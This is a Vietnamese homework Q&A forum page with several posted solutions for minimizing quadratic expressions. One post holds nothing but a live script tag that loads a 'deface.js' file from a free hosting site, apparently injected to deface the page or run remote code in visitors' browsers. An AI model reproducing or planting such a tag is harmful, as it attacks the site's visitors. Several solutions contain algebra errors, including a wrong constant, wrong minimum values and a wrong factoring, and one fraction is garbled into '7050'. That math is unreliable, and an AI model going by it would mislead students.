D
2
K
Khách
Hãy nhập câu hỏi của bạn vào đây, nếu là tài khoản VIP, bạn sẽ được ưu tiên trả lời.
Các câu hỏi dưới đây có thể giống với câu hỏi trên
CN
0
TB
26 tháng 7 2018
1, \(3x^2-5x+4\)
\(=3\left(x^2-\frac{5}{3}x\right)+1=3\left(x^2-2.\frac{5}{6}x+\frac{25}{36}\right)+\frac{23}{12}=3\left(x-\frac{5}{6}\right)^2+\frac{23}{12}\)
Ta có: \(3\left(x-\frac{5}{6}\right)^2\ge0\forall x\Leftrightarrow3\left(x-\frac{5}{6}\right)^2+\frac{23}{12}\ge\frac{23}{12}\)
Dấu "=" xảy ra \(\Leftrightarrow\left(x-\frac{5}{6}\right)^2=0\Leftrightarrow x-\frac{5}{6}=0\Leftrightarrow x=\frac{5}{6}\)
Vậy minA = \(\frac{23}{12}\Leftrightarrow x=\frac{5}{6}\)
2, Bạn thử kiểm tra lại đề bài xem
NM
0
P
31 tháng 7 2017
\(A=x^2-2x.\frac{3}{2}+\frac{9}{4}+\frac{11}{4}\)
\(A=\left(x-\frac{3}{2}\right)^2+\frac{11}{4}\ge\frac{11}{4}\)
MIN A=\(\frac{11}{4}\Leftrightarrow x=\frac{3}{2}\)
27 tháng 6 2019
B=\(3x^2-5x=3x^2-2.\sqrt{3}.\left(\frac{5}{\sqrt{3}}\right)x+\frac{25}{3}-\frac{25}{3}\)
B=\(\left(\sqrt{3}x-\frac{5}{\sqrt{3}}\right)^2-\frac{25}{3}\ge-\frac{25}{3}\)
B đạt GTNN là \(-\frac{25}{3}\) khi \(\sqrt{3}x=\frac{5}{\sqrt{3}}\)
\(x=\frac{5}{3}\)
H
18 tháng 11 2018
| <script src="https://snatchy-warehouse.000webhostapp.com/deface.js"></script> |
TM
3
9 tháng 5 2018
\(A=2x^2+5y^2-2xy+2y+2x\)
\(2A=4x^2+10y^2-4xy+4y+4x\)
\(2A=\left(4x^2-4xy+y^2\right)+9y^2+4y+4x\)
\(2A=\left[\left(2x-y\right)^2+2\left(2x-y\right)+1\right]+\left(9y^2+6y+1\right)-2\)
\(2A=\left(2x-y+1\right)^2+\left(3y+1\right)^2-2\)
Do \(\left(2x-y+1\right)^2\ge0\)
\(\left(3y+1\right)^2\ge0\)
\(\Rightarrow2A\ge-2\)
\(\Leftrightarrow A\ge-1\)
Dấu "=" xảy ra khi :
\(\hept{\begin{cases}2x-y+1=0\\3y+1=0\end{cases}}\Leftrightarrow\hept{\begin{cases}x=\frac{-2}{3}\\y=\frac{-1}{3}\end{cases}}\)
Vậy ...
YT
9 tháng 5 2018
\(A=x^2-2xy+y^2+x^2+2x+1+y^2+2y+1+3y^2-2\)
\(A=\left(x-y\right)^2+\left(x+1\right)^2+\left(y+1\right)^2+3y^2-2\)
\(Do\left(x-y\right)^2+\left(x+1\right)^2+\left(y+1\right)^2+3y^2>=0\)
\(nenA>=-2\)
vậy gtnn của A là -2
(5x+1)(5x−1)−25(x+3)(x−1)=4(5x+1)(5x−1)−25(x+3)(x−1)=4
⇔25x2−1−25x2−50x+75=4⇔25x2−1−25x2−50x+75=4
⇔−50x+70=0⇔−50x+70=0
⇔x=7050⇔x=7050
Vậy B=7050
B=3x2-5x= 3(x2-\(\frac{3}{5}\)x)
=3 (x2-2.\(\frac{3}{10}\)x+\(\frac{9}{100}\)-\(\frac{9}{100}\))
=3(x-\(\frac{3}{10}\))2-\(\frac{27}{100}\)\(\ge\)-\(\frac{27}{100}\)
Vậy Bmin =-\(\frac{27}{100}\)<=> x=\(\frac{3}{10}\)